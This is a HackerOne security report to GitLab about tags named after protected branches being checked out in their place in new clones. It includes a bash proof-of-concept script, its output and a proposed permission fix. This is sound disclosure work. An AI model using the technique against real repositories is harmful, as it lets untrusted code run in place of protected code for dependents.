Tag sharing the same name as protected branch could be checked out in place of intended branch in newly cloned repository
HackerOne report #1314067 by arw9234
on 2021-08-21, assigned to @vdesousa:
Report
Summary
Gitlab currently allows a branch and a tag to share the same name. This creates ambiguity with certain git commands such as git checkout
, similar to the problem in #790634. If a tag is created with the same name as an existing protected branch, then cloning the repository and trying to checkout the branch using git checkout branch_name
will instead checkout the tag. A user with Developer permissions in a repository can use this to have their branch checked out in place of a protected one by dependencies.
Steps to reproduce
- Create a repository on gitlab.com
- Run the following script (replace the value of
REPO
at the top with your repository):
REPO='username/your_repo_here'
mkdir test1 && mkdir test2 && mkdir test3 && cd test1
### set up branch that we want to checkout
git clone "git@gitlab.com:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout -b some_branch > /dev/null 2>&1
echo 'expected content' > file.txt
git add . > /dev/null 2>&1
git commit -m setup > /dev/null 2>&1
git push origin --set-upstream some_branch > /dev/null 2>&1
echo "Pushed expected content to branch some_branch\n"
### try to clone repo and checkout some_branch
cd ../../test2
git clone "git@gitlab.com:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout some_branch > /dev/null 2>&1
echo 'Tried to clone repo and checkout some_branch'
echo 'Expecting file.txt to contain: expected content'
echo "It actually contained: $(cat file.txt)\n"
### set up maliciously tagged branch, which will override some_branch
cd "../../test1/$(basename $REPO)"
git checkout -b some_other_branch > /dev/null 2>&1
echo 'malicious content' > file.txt
git add . > /dev/null 2>&1
git commit -m setup > /dev/null 2>&1
git tag some_branch > /dev/null 2>&1
git push origin --tags --set-upstream some_other_branch > /dev/null 2>&1
echo "Set up maliciously tagged branch\n"
### try to clone repo and checkout some_branch again
cd ../../test3
git clone "git@gitlab.com:$REPO" > /dev/null 2>&1 && cd $(basename $REPO)
git checkout some_branch > /dev/null 2>&1
echo 'Tried to clone repo and checkout some_branch'
echo 'Expecting file.txt to contain: expected content'
echo "It actually contained: $(cat file.txt)"
- The clone in
test2
will contain the textexpected content
infile.txt
, while the clone intest3
will contain the textmalicious content
infile.txt
, even though the branchsome_branch
was checked out in both.
Impact
A user with developer permissions in a repository can cause their branch to be checked out by dependencies or automated scripts that intend to check out another. This could cause their code to be ran in place of trusted code from a protected branch in programs that depend on a project on gitlab.
What is the current bug behavior?
Gitlab allows branches and tags to share the same name, which creates ambiguity with certain git commands.
What is the expected correct behavior?
Gitlab should not permit branches and tags with the same name.
If this is not possible (I'm not sure if any repositories are intentionally creating branches and tags with the same name, but there could be some), then gitlab could specifically restrict users who do not have permission to push to a protected branch from creating a tag with the same name. So, if branch v2.0
exists and is protected, Developers can't create a tag named v2.0
, but Maintainers and above can. If branch v2.0
exists but is not protected, Developers can create a tag named v2.0
(since they could just push to the branch anyway). This would solve the issue of Developers being able to override checkouts of protected branches while still allowing branches and tags to share the same name if that functionality is needed.
Relevant logs and/or screenshots
Output of the above script with git version 2.30.2:
Pushed expected content to branch some_branch
Tried to clone repo and checkout some_branch
Expecting file.txt to contain: expected content
It actually contained: expected content
Set up maliciously tagged branch
Tried to clone repo and checkout some_branch
Expecting file.txt to contain: expected content
It actually contained: malicious content
Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
I tested this entirely against gitlab.com, which would be GitLab Enterprise Edition 14.3.0-pre, instead of using my own GitLab instance.
Best regards,
[@]arw9234
Impact
A user with Developer permissions could trick dependencies of a project into checking out their branch in place of a protected branch and running attacker-controlled code.
How To Reproduce
Please add reproducibility information to this section: